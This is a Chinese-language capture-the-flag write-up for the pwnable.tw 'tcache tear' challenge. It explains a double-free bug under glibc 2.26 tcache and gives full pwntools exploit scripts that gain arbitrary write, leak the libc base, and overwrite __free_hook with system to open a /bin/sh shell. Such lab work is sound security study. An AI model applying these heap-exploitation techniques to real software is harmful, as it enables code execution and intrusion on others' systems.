pwnable.tw 之 tcache tear

Tcache tear题目链接

1 分析

1.1 linux下查看二进制信息

1
2
3
4
5
6
7
8
9
10
11
$ file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped

$ checksec tcache_tear
[*] '/mnt/hgfs/vmshare-1804/Tcache-tear/tcache_tear'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

可以得到如下信息:

  • 64位二进制程序,动态链接,去符号表
  • got表保护开启,got表不可写
  • 栈保护开启,栈不可执行,且有canary
  • 没有开启地址随机化

1.2 IDA逆向源码逻辑

main中sub_400948()存在一个alarm定时函数,于是将它patch掉。(Edit –> Patch program –>Assemble,全部patch为nop)

通过IDA分析Tcache tear的源码逻辑如下:

这里的漏洞点在num = 2的分支中,如下代码:

1
2
3
4
5
6
 if ( v4 <= 7 )
{
free(ptr);
++v4;
}
// free了全局变量ptr指向的堆内存,但并没有将该指针置NULL,导致悬空指针的产生。

本题采用的glibc 2.26 (ubuntu 17.10) 版本,为提升堆管理性能,舍弃了很多安全检查。如,对tcache而言,可以不间隔地free两个相同的堆,并添加到tcache链表中。

本题中,控制Malloc的size在tcache范围内,执行如下命令可形成一个环:

1
2
3
Malloc(size,data);
free();
free();

下次malloc时,tcache将最右边的chunk返回给用户使用,用户可以更改其中的数据,如chunk的fd部分。那么当再一次malloc时,将右数第二个chunk(跟上一个实际是同一chunk)分配给用户。但此时由于fd被更改,下一次mallloc时,就会分配到fd中指定的地址。因此我们便可以在新地址中写一些数据,达到任意地址写的目的。

接下来,我们触发一下这个漏洞试试,定个小目标,去修改全局变量0x602060处Global_name的值。

1.3 漏洞触发 - 任意地址写

初始化时,Global_name赋值为xiayuan,我的目标是把它改成wangyuxuan,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('tcache_tear')
myproc = process(myelf.path)

def my_malloc(size,data):
myproc.recvuntil('Your choice :')
myproc.sendline('1')
myproc.recvuntil('Size:')
myproc.sendline(p64(size))
myproc.recvuntil('Data:')
myproc.sendline(data)

def my_free():
myproc.recvuntil('Your choice :')
myproc.send('2')

def my_info():
myproc.recvuntil('Your choice :')
myproc.send('3')

def my_exit():
myproc.recvuntil('Your choice :')
myproc.send('4')

# Global_name --> xiayuan
myproc.recvuntil('Name:')
myproc.sendline('xiayuan')

# change Global_name --> wangyuxuan
my_malloc(200,'aaaaaaaaaa')
my_free()
my_free()
my_malloc(200,p64(0x602060))
my_malloc(200,'0')
my_malloc(200,'wangyuxuan')

gdb.attach(myproc,'b * 0x00400c02 \nc')

myproc.interactive()

gdb中查看Global_name处的值,成功被改

1
2
gef➤  x/s 0x602060
0x602060: "wangyuxuan"

2 漏洞利用

得到一个任意地址写的漏洞,我们通常有一下几种方式利用:

  • 修改函数指针
  • 修改got表
  • fini_array段函数指针
  • libc中的函数指针

在本题中:

  • 程序没有自己的函数指针
  • got表不可写
  • 进入main函数后,一直处于while循环,不会执行到fini_array

因此,我们只能去修改libc中的函数指针,需要:

  • 泄露libc基址
  • 利用libc中的函数指针

2.1 泄露libc基址

参考hacknote中,unsorted bin的特性。这里需要构造一个会被回收到unsorted bin中的chunk,然后将chunk中相应位置的数据(main_arena的top结构体)读出,减去它跟libc基址的偏移,就可以得到libc基址。

一个又能被我们写,又能被我们读的位置,就是Global_name处。

free时除了检查当前块,还要检查nextchunk和nextchunk的nextchunk。因此总共需要构造三个块。

大小分别为0x500(free时进入usorted bin), 0x20, 0x20。且需要将他们的inuse位置1,以通过检查。

  • main_arena中top结构体距离libc基址的偏移:0x00007f762418fca0 - 0x00007f7623da4000 = 0x3ebca0

泄露libc地址的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('tcache_tear')
myproc = process(myelf.path)

def my_malloc(size,data):
myproc.recvuntil('Your choice :')
myproc.sendline('1')
myproc.recvuntil('Size:')
myproc.sendline(str(size))
myproc.recvuntil('Data:')
myproc.sendline(data)

def my_free():
myproc.recvuntil('Your choice :')
myproc.sendline('2')

def my_info():
myproc.recvuntil('Your choice :')
myproc.sendline('3')

def my_exit():
myproc.recvuntil('Your choice :')
myproc.sendline('4')

myproc.recvuntil('Name:')
myproc.sendline(p64(0)+p64(0x501))

my_malloc(0x50,'a')
my_free()
my_free()
my_malloc(0x50,p64(0x602060 + 0x500))
my_malloc(0x50,'0')
my_malloc(0x50,(p64(0)+p64(0x21)+p64(0)+p64(0))*2)

my_malloc(0x70,'b')
my_free()
my_free()
my_malloc(0x70,p64(0x602060 + 0x10))
my_malloc(0x70,'0')
my_malloc(0x70,'b')

# free, then get 'top' addr on 0x602060+0x10
my_free()

# calc libc_addr
my_info()
myproc.recv('Name :')
myproc.recv(0x10)
libc_addr = u64(myproc.recv(0x8)) - 0x3ebca0

gdb.attach(myproc,'b * 0x00400c02 \nc')

myproc.interactive()

2.2 控制libc中的函数指针

libc中存在一些导出的hook函数指针:

1
2
3
4
5
6
7
8
9
10
$ strings libc-123.so | grep hook
__malloc_initialize_hook
_dl_open_hook
argp_program_version_hook
__after_morecore_hook
__memalign_hook
__malloc_hook
__free_hook
_dl_open_hook2
__realloc_hook

malloc hook初探

根据这些hook函数的特性(malloc之前会调用__malloc_hook,free之前会调用__free_hook),我们可以劫持这些函数指针,来执行system函数或者one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ one_gadget libc-123.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('tcache_tear')
mylibc = ELF('libc-123.so')
myproc = process(myelf.path)

def my_malloc(size,data):
myproc.recvuntil('Your choice :')
myproc.sendline('1')
myproc.recvuntil('Size:')
myproc.sendline(str(size))
myproc.recvuntil('Data:')
myproc.sendline(data)

def my_free():
myproc.recvuntil('Your choice :')
myproc.sendline('2')

def my_info():
myproc.recvuntil('Your choice :')
myproc.sendline('3')

def my_exit():
myproc.recvuntil('Your choice :')
myproc.sendline('4')

myproc.recvuntil('Name:')
myproc.sendline(p64(0)+p64(0x501))

my_malloc(0x50,'a')
my_free()
my_free()
my_malloc(0x50,p64(0x602060 + 0x500))
my_malloc(0x50,'0')
my_malloc(0x50,(p64(0)+p64(0x21)+p64(0)+p64(0))*2)

my_malloc(0x70,'b')
my_free()
my_free()
my_malloc(0x70,p64(0x602060 + 0x10))
my_malloc(0x70,'0')
my_malloc(0x70,'b')

# free, then get 'top' addr on 0x602060+0x10
my_free()

# calc libc_addr
my_info()
myproc.recvuntil('Name :')
myproc.recv(0x10)
libc_addr = u64(myproc.recv(0x8)) - 0x3ebca0

# hijack __free_hook
free_hook = libc_addr + mylibc.symbols['__free_hook']
system_addr = libc_addr + mylibc.symbols['system']
# 1、将free_hook所在地址的值覆盖为system函数的地址值
my_malloc(0x90,'b')
my_free()
my_free()
my_malloc(0x90,p64(free_hook))
my_malloc(0x90,'0')
my_malloc(0x90,p64(system_addr))
# 2、使void *ptr指向“/bin/sh”,后续free(ptr)时相当于执行system("/bin/sh")
my_malloc(0x80,'/bin/sh\x00')

my_free()
# gdb.attach(myproc,'b * 0x00400c02 \nc')
myproc.interactive()